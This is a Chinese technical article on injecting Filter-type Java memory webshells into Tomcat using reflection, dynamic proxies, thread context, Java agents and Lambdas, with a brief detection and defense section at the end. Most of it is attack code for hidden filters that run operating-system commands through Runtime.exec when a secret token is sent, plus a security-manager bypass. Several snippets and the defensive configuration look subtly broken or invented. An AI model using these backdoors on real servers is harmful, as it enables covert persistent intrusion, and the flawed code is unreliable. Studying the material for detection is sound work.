Java内存马——Filter型的五种注入
字数 1475 2025-08-29 22:41:32
Java Filter型内存马注入技术详解
一、反射注入技术
1.1 核心原理
反射注入技术利用Java反射机制突破访问权限限制,动态操作Web容器内部组件,实现Filter型内存马的注入。其三大技术支柱为:
- 反射机制:突破private/protected访问权限限制
- 类加载机制:动态定义恶意Filter类
- 容器内部结构理解:精准定位关键组件如StandardContext
1.2 完整注入流程(Tomcat为例)
步骤1:获取当前线程ClassLoader
ClassLoader webappClassLoader = Thread.currentThread().getContextClassLoader();
步骤2:定位StandardContext对象
三种定位方式:
方式1:通过WebappClassLoader(Tomcat 7-9)
Field resourcesField = webappClassLoader.getClass().getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(webappClassLoader);
Field contextField = resources.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object standardContext = contextField.get(resources);
方式2:通过ServletContext
ServletContext servletContext = request.getServletContext();
Field appCtxField = servletContext.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
Object applicationContext = appCtxField.get(servletContext);
Field stdCtxField = applicationContext.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
Object standardContext = stdCtxField.get(applicationContext);
方式3:通过线程栈遍历
Object standardContext = null;
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = new Thread[group.activeCount()];
group.enumerate(threads);
for (Thread thread : threads) {
if (thread == null) continue;
StackTraceElement[] stack = thread.getStackTrace();
for (StackTraceElement frame : stack) {
if ("org.apache.catalina.core.ApplicationFilterChain".equals(frame.getClassName())
&& "internalDoFilter".equals(frame.getMethodName())) {
Field localTableField = thread.getClass().getDeclaredField("localValues");
localTableField.setAccessible(true);
Object[] localTable = (Object[]) localTableField.get(thread);
for (Object local : localTable) {
if (local != null && local.getClass().getName().contains("StandardContext")) {
standardContext = local;
break;
}
}
}
}
}
步骤3:动态定义恶意Filter类
byte[] evilFilterBytes = Base64.getDecoder().decode("yv66vgAAADQANAoAEAAbCgAcAB0IAB4KABwAHwcAIAoAAgAhBwAiBwAjAQAGPGluaXQ+");
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> evilFilterClass = (Class<?>) defineClass.invoke(
webappClassLoader, "com.evil.DynamicFilter",
evilFilterBytes, 0, evilFilterBytes.length);
步骤4:创建并注册FilterDef
Class<?> filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Object filterDef = filterDefClass.getDeclaredConstructor().newInstance();
String filterName = "mem_" + UUID.randomUUID().toString().substring(0, 8);
filterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, filterName);
filterDefClass.getMethod("setFilterClass", String.class).invoke(
filterDef, evilFilterClass.getName());
Object evilFilter = evilFilterClass.getDeclaredConstructor().newInstance();
filterDefClass.getMethod("setFilter", Filter.class).invoke(filterDef, evilFilter);
standardContext.getClass().getMethod("addFilterDef", filterDefClass).invoke(
standardContext, filterDef);
步骤5:创建并配置FilterMap
Class<?> filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Object filterMap = filterMapClass.getDeclaredConstructor().newInstance();
filterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, filterName);
filterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
filterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
filterMapsField.setAccessible(true);
@SuppressWarnings("unchecked")
List<Object> filterMaps = (List<Object>) filterMapsField.get(standardContext);
filterMaps.add(0, filterMap); // 插入到链首
步骤6:创建ApplicationFilterConfig
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
@SuppressWarnings("unchecked")
Map<String, Object> filterConfigs = (Map<String, Object>) filterConfigsField.get(standardContext);
Class<?> appFilterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> constructor = appFilterConfigClass.getDeclaredConstructor(
standardContext.getClass(), filterDefClass);
constructor.setAccessible(true);
Object filterConfig = constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);
1.3 关键技术难点与解决方案
类加载隔离问题
ClassLoader targetLoader = Thread.currentThread().getContextClassLoader();
ClassLoader containerLoader = targetLoader.getParent();
Class<?> standardContextClass = containerLoader.loadClass("org.apache.catalina.core.StandardContext");
版本兼容性问题
String serverInfo = applicationContext.getServerInfo();
int majorVersion = Integer.parseInt(serverInfo.split("/")[1].split("\\.")[0]);
String fieldName = (majorVersion >= 9) ? "context" : "this$0";
Field contextField;
try {
contextField = applicationContext.getClass().getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
contextField = applicationContext.getClass().getDeclaredField("_context");
}
安全管理器绕过
SecurityManager originalSM = System.getSecurityManager();
try {
System.setSecurityManager(null);
// 执行敏感反射操作
} finally {
System.setSecurityManager(originalSM);
}
二、动态代理注入技术
2.1 核心原理
动态代理注入与传统反射注入的区别:
| 特性 | 传统反射注入 | 动态代理注入 |
|---|---|---|
| 类定义 | 显式定义恶意Filter类 | 无具体Filter类定义 |
| 内存痕迹 | 存在自定义类字节码 | 只有系统生成的代理类 |
| 隐蔽性 | 较低(可检测类特征) | 极高(代理类为JDK系统类) |
| 技术复杂度 | 中等 | 较高 |
| 防御绕过能力 | 一般 | 优秀 |
2.2 完整实现流程
步骤1:创建恶意InvocationHandler
public class FilterProxyHandler implements InvocationHandler {
private final FilterChain originalChain;
private static final String TRIGGER_PARAM = "X-Token";
private static final String SECRET_KEY = "d8a7b6c5";
public FilterProxyHandler(FilterChain chain) {
this.originalChain = chain;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if ("doFilter".equals(method.getName())) {
ServletRequest request = (ServletRequest) args[0];
ServletResponse response = (ServletResponse) args[1];
String token = request.getParameter(TRIGGER_PARAM);
if (SECRET_KEY.equals(token)) {
executeMaliciousLogic(request, response);
return null; // 中断过滤器链
}
}
return method.invoke(originalChain, args);
}
private void executeMaliciousLogic(ServletRequest request, ServletResponse response) {
try {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntime = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntime.invoke(null);
Method exec = runtimeClass.getMethod("exec", String.class);
Process process = (Process) exec.invoke(runtime, cmd);
java.io.InputStream in = process.getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
} catch (Exception e) {
// 静默处理异常
}
}
}
步骤2:创建FilterChain动态代理
FilterChain originalChain = ...; // 获取当前请求的FilterChain
InvocationHandler handler = new FilterProxyHandler(originalChain);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
FilterChain proxyChain = (FilterChain) Proxy.newProxyInstance(
classLoader,
new Class<?>[] { FilterChain.class },
handler);
步骤3:劫持ApplicationFilterChain
Object applicationFilterChain = ...; // 通过反射获取
Field filtersField = applicationFilterChain.getClass().getDeclaredField("filters");
filtersField.setAccessible(true);
Filter[] filters = (Filter[]) filtersField.get(applicationFilterChain);
Filter dummyFilter = new Filter() {
public void init(FilterConfig filterConfig) {}
public void destroy() {}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
chain.doFilter(request, response);
}
};
Filter[] newFilters = new Filter[filters.length + 1];
System.arraycopy(filters, 0, newFilters, 1, filters.length);
newFilters[0] = dummyFilter;
filtersField.set(applicationFilterChain, newFilters);
Field posField = applicationFilterChain.getClass().getDeclaredField("pos");
posField.setAccessible(true);
int currentPos = posField.getInt(applicationFilterChain);
posField.set(applicationFilterChain, currentPos + 1);
Field chainField = applicationFilterChain.getClass().getDeclaredField("chain");
chainField.setAccessible(true);
chainField.set(applicationFilterChain, proxyChain);
2.3 高级实现技巧
双重代理嵌套
InvocationHandler wrapperHandler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) {
// 正常业务逻辑
return method.invoke(target, args);
}
};
InvocationHandler maliciousHandler = new FilterProxyHandler(wrapperHandler);
FilterChain doubleProxy = (FilterChain) Proxy.newProxyInstance(
loader,
new Class<?>[] { FilterChain.class },
maliciousHandler);
Lambda表达式伪装(Java 8+)
FilterChain lambdaChain = (request, response) -> {
if (checkTrigger(request)) {
executeCommand(request, response);
} else {
originalChain.doFilter(request, response);
}
};
三、线程上下文注入技术
3.1 核心原理
技术优势:
- 零注册痕迹:不修改StandardContext的filterDefs/filterMaps
- 线程局部性:仅影响当前线程,重启线程后失效
- 深度隐蔽:不创建持久化组件
- 动态激活:按需注入,避免常驻内存
3.2 完整注入流程
步骤1:获取当前线程上下文
Thread currentThread = Thread.currentThread();
ClassLoader contextClassLoader = currentThread.getContextClassLoader();
Class<?> clazz = Class.forName("org.apache.catalina.connector.Request");
Field requestField = null;
for (Field field : clazz.getDeclaredFields()) {
if ("request".equals(field.getName())) {
requestField = field;
break;
}
}
requestField.setAccessible(true);
Object request = requestField.get(currentThread);
步骤2:劫持FilterChain执行位置
Class<?> filterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field chainField = filterChainClass.getDeclaredField("chain");
chainField.setAccessible(true);
Object originalChain = chainField.get(null);
Filter maliciousFilter = new Filter() {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
String trigger = request.getParameter("_token");
if ("7d83b9c4".equals(trigger)) {
executeCommand(request, response);
return;
}
chain.doFilter(request, response);
}
};
FilterChain proxyChain = (req, res) -> {
maliciousFilter.doFilter(req, res, originalChain);
};
步骤3:注入线程上下文
Method getContextMethod = request.getClass().getMethod("getContext");
Object standardContext = getContextMethod.invoke(request);
Class<?> filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> ctor = filterConfigClass.getDeclaredConstructor(
standardContext.getClass(),
Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"));
ctor.setAccessible(true);
Object filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterDef.getClass().getMethod("setFilter", Filter.class).invoke(filterDef, maliciousFilter);
Object filterConfig = ctor.newInstance(standardContext, filterDef);
Field posField = originalChain.getClass().getDeclaredField("pos");
posField.setAccessible(true);
int currentPos = posField.getInt(originalChain);
Field filtersField = originalChain.getClass().getDeclaredField("filters");
filtersField.setAccessible(true);
Object[] filters = (Object[]) filtersField.get(originalChain);
Object[] newFilters = new Object[filters.length + 1];
System.arraycopy(filters, 0, newFilters, 0, currentPos);
newFilters[currentPos] = filterConfig;
System.arraycopy(filters, currentPos, newFilters, currentPos + 1, filters.length - currentPos);
filtersField.set(originalChain, newFilters);
posField.set(originalChain, currentPos + 1);
四、Agent注入技术
4.1 核心原理
Java Agent技术架构:
- JVMTI:Java虚拟机工具接口(底层C接口)
- Instrumentation:Java层操作类加载的API
- ClassFileTransformer:字节码转换核心接口
4.2 完整注入流程
步骤1:创建恶意Agent
public class FilterAgent {
public static void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new FilterChainTransformer(), true);
Class<?>[] classes = inst.getAllLoadedClasses();
for (Class<?> clazz : classes) {
if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
try {
inst.retransformClasses(clazz);
} catch (Exception e) {
// 静默处理
}
}
}
}
}
步骤2:实现字节码转换器
public class FilterChainTransformer implements ClassFileTransformer {
private static final String TARGET_CLASS = "org.apache.catalina.core.ApplicationFilterChain";
private static final String TARGET_METHOD = "internalDoFilter";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (!className.replace("/", ".").equals(TARGET_CLASS)) {
return null;
}
try {
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod method = ctClass.getDeclaredMethod(TARGET_METHOD);
method.insertBefore(
"javax.servlet.ServletRequest req = request;" +
"javax.servlet.ServletResponse res = response;" +
"String cmd = req.getParameter(\"_cmd\");" +
"if (cmd != null && \"9b8d7f6c\".equals(req.getParameter(\"_token\"))) {" +
" try {" +
" java.util.Scanner s = new java.util.Scanner(" +
" Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\");" +
" String output = s.hasNext() ? s.next() : \"\";" +
" res.getWriter().write(output);" +
" res.getWriter().flush();" +
" return;" +
" } catch (Exception e) {}" +
"}");
return ctClass.toBytecode();
} catch (Exception e) {
return null;
}
}
}
步骤3:动态注入Agent
public void injectAgent() {
String pid = getTargetPid(); // 获取目标JVM进程ID
String agentPath = "/tmp/malicious-agent.jar";
try {
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentPath);
vm.detach();
} catch (Exception e) {
// 异常处理
}
}
五、Lambda注入技术
5.1 核心原理
Lambda表达式底层机制:
- invokedynamic:Java 7引入的动态调用指令
- LambdaMetafactory:Lambda表达式工厂类
- MethodHandles:底层方法句柄操作
5.2 完整注入流程
步骤1:创建恶意Lambda逻辑
@FunctionalInterface
interface TriFunction<A,B,C,R> {
R apply(A a, B b, C c);
}
TriFunction<ServletRequest, ServletResponse, FilterChain, Void> maliciousLogic =
(request, response, chain) -> {
String cmd = request.getParameter("cmd");
if (cmd != null && "d3b7a5f".equals(request.getParameter("token"))) {
try {
Process p = Runtime.getRuntime().exec(cmd);
Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\A");
response.getWriter().write(s.hasNext() ? s.next() : "");
return null; // 中断过滤器链
} catch (Exception e) {}
}
try {
chain.doFilter(request, response);
} catch (Exception e) {}
return null;
};
步骤2:构造Lambda代理Filter
MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodType filterType = MethodType.methodType(
void.class, ServletRequest.class, ServletResponse.class, FilterChain.class);
CallSite site = LambdaMetafactory.metafactory(
lookup,
"doFilter",
MethodType.methodType(Filter.class, TriFunction.class),
filterType,
lookup.findVirtual(TriFunction.class, "apply",
MethodType.methodType(Object.class, Object.class, Object.class, Object.class)),
filterType);
Filter lambdaFilter = (Filter) site.getTarget().invoke(maliciousLogic);
步骤3:劫持FilterChain执行
Field filtersField = filterChain.getClass().getDeclaredField("filters");
filtersField.setAccessible(true);
Filter[] originalFilters = (Filter[]) filtersField.get(filterChain);
Filter[] newFilters = new Filter[originalFilters.length + 1];
System.arraycopy(originalFilters, 0, newFilters, 1, originalFilters.length);
newFilters[0] = lambdaFilter;
filtersField.set(filterChain, newFilters);
Field posField = filterChain.getClass().getDeclaredField("pos");
posField.setAccessible(true);
posField.setInt(filterChain, posField.getInt(filterChain) + 1);
六、检测与防御方案
6.1 检测技术
反射注入检测
// 验证所有Filter都有对应的FilterConfig
Map<String, ?> filterConfigs = context.getFilterConfigs();
List<?> filterMaps = context.getFilterMaps();
for (Object filterMap : filterMaps) {
String filterName = (String) filterMap.getClass()
.getMethod("getFilterName").invoke(filterMap);
if (!filterConfigs.containsKey(filterName)) {
alertSecurityTeam();
}
}
动态代理检测
Field chainField = ApplicationFilterChain.class.getDeclaredField("chain");
chainField.setAccessible(true);
Object internalChain = chainField.get(chainInstance);
if (Proxy.isProxyClass(internalChain.getClass())) {
InvocationHandler handler = Proxy.getInvocationHandler(internalChain);
// 检查handler类是否可疑
}
Agent注入检测
// 使用Java Agent验证核心类
public class FilterChainVerifier {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
if ("org/apache/catalina/core/ApplicationFilterChain".equals(className)) {
if (!verifyClassHash(classfileBuffer)) {
throw new SecurityException("FilterChain class compromised!");
}
}
return classfileBuffer;
});
}
}
6.2 防御策略
容器加固配置(Tomcat示例)
<!-- context.xml -->
<Context>
<JarScanner scanClassPath="false"/>
<Loader delegate="true"/>
<Valve className="org.apache.catalina.valves.SecurityFilterValve"
filterReflection="true"/>
</Context>
安全管理器配置
permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina.core";
permission java.lang.RuntimePermission "defineClassInPackage.com.evil";
RASP防护规则
@Hook(className = "java.lang.invoke.LambdaMetafactory", methodName = "metafactory")
public static CallSite onLambdaCreation(MethodHandles.Lookup lookup, String invokedName,
MethodType invokedType, MethodType samMethodType, MethodHandle implMethod,
MethodType instantiatedMethodType) {
if (implMethod.type().parameterType(0) == ServletRequest.class) {
throw new SecurityException("Servlet Filter lambda creation blocked");
}
return null;
}